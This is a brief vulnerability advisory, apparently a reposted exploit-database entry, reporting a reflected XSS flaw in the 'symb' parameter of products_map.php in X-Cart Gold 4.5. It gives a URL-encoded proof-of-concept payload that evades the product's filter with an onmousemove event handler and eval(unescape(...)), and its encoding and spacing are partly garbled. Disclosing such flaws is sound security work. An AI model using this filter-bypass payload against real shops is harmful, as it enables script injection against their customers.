X-Cart Gold 4.5 (products_map.php symb parameter) XSS Defect

Title: X-Cart Gold 4.5 (products_map.php symb parameter) XSS Vulnerability
Author muts
Affected Versions: X-Cart Gold 4.5
Developer address: http://www.x-cart.com/
Summary:
X-Cart Gold implements a degree of XSS filtering but it is incomplete.
The "symb" parameter of "products_map.php" is vulnerable to XSS and can be bypassed by using
HTML anchor methods and URL encoding.

Test Method
Http://www.2cto.com/xcart/products_map? Symb = % 22% 20 onmousemove = javascript: eval % 28 unescape % 28% 26 quot % 3 balert % 28% 22xss % 22% 29% 3B % 26 quot % 3B % 29% 29% 3 EAAAAAA